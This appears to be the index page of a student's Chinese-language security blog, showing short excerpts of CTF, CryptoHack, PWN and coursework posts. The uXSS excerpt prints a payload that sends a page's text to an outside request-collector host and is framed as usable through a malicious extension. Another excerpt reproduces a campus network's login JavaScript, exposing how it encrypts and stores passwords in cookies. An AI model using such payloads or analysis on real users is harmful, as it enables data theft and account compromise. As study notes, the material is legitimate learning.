May 15, 2023

深渊大学 OS PA

一点点汇编知识 如何得知 char 开了多大 sub 是一个指令,用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数,并将结果存储到指定的目的地。 / esp 是啥寄存器 栈指针寄存器 当前栈顶
Read more
May 13, 2023

LitCTF2023

小小小 Background 源码星球上有一种有趣的游戏「小,小小小」。 / Description 给你 $n$ 张卡片,第 $i$ 张卡片上写着 $a_i$。 / 定义一个包含 $n$ 张卡片的卡片组分值为: / [公式] 其中 $a_{n+1} = a_1$。
Read more
May 10, 2023

校园网研究

密码和账号以密文和明文的形式储存在 cookie 中 以下是加密和保存的代码 function i(e) { var n; Object(c.a)(this, i), (n = t.call(this, e)).state = { isDoing: !1, err: null, isShowQR: !1, QR: "", QRSec: 0, QRTimer: 0 }, n.V = { remember: !1, password: "", username: "", randomPassword: "" }, n.f_key = function(e) { return $.a.enc.Utf8.parse(e.slice(-4) + e + "12345678") } , n.check = function() { j.a.post(be.url, { DoWhat: "Check" }).then((function(e) { var t = e.data; !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.error("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )) } , n.onFinish = function(e) { if (x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username !== n.V.username || e.password !== n.V.randomPassword ? e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString() : e.password = n.V.password, e.remember) { var t = new Date(Date.now() + 2592e6); ie.a.save("username", e.username, { dt: t, maxAge: 2592e3 }), ie.a.save("password", e.password, { dt: t, maxAge: 2592e3 }) } else ie.a.remove("username"), ie.a.remove("password"), ie.a.remove("remember"); j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? (x.b.error(t.Message, 5), n.setState({ err: t.Message })) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } , n.onFinishVisitor = function(e) { x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username = "V" + e.username, e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString(), j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? x.b.error(t.Message, 5) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } 已断点测试 加密逻辑如上
Read more
May 2, 2023

CryptoHack Wp

1.2 XOR 挑战 1.2.4 XOR -> You either know, XOR you don’t 发现之前做了点了 隐藏一下已经解决的 from pwn import xor from Crypto.Util.number import long_to_bytes as l2b c = "0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104" c = l2b(int(c, 16)) # hex to int to bytes # 已知flag 前几位为crypto{ 于是与这几位结果对应密文xor即可得出key flag_begin_format = b"crypto{" flag_end_format = b"}" key = xor(c[:7], flag_begin_format) + xor(c[-1:], flag_end_format) print(xor(c, key))
Read more
April 8, 2023

uXSS学习

payload: / <title>HELLO</title> <script> document.title = ` <img src=x onerror="document.location = 'https://ll.requestcatcher.com/' + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.data" `; </script> 实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒 然后使用上述代码在目标浏览器使用以窃取信息 这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:
Read more
April 8, 2023

十四届篮球杯题解

重现
March 24, 2023

侧信道和嵌入式访问控制

侧信道 / flag{The_rotten_measurement_channel}
March 8, 2023

PWN 入门

在这里学的 NTUSTISC - PWN入门基础学习【集合】 pwn训练营-2-shellcode专题 1. Vuln 栈溢出 查程序属性 / file file_name ![[Pasted image 20230308160401.png]] / checksec vuln ![[Pasted image 20230308160806.png]] / 发现无壳 无动态链接 查字符串 / strings ./vuln | grep flag ![[Pasted image 20230308162125.png]] / 可以发现存在文件操作 / 方便本地测试 在程序目录下构造 flag.txt 内存入一些自己分辨的值 比如 flag{ahh}
Read more
March 4, 2023

数学分析

主要内容
Read more
March 4, 2023

RSA中的个人奇思妙想

公钥加密就私钥解密 私钥加密就公钥解密
Read more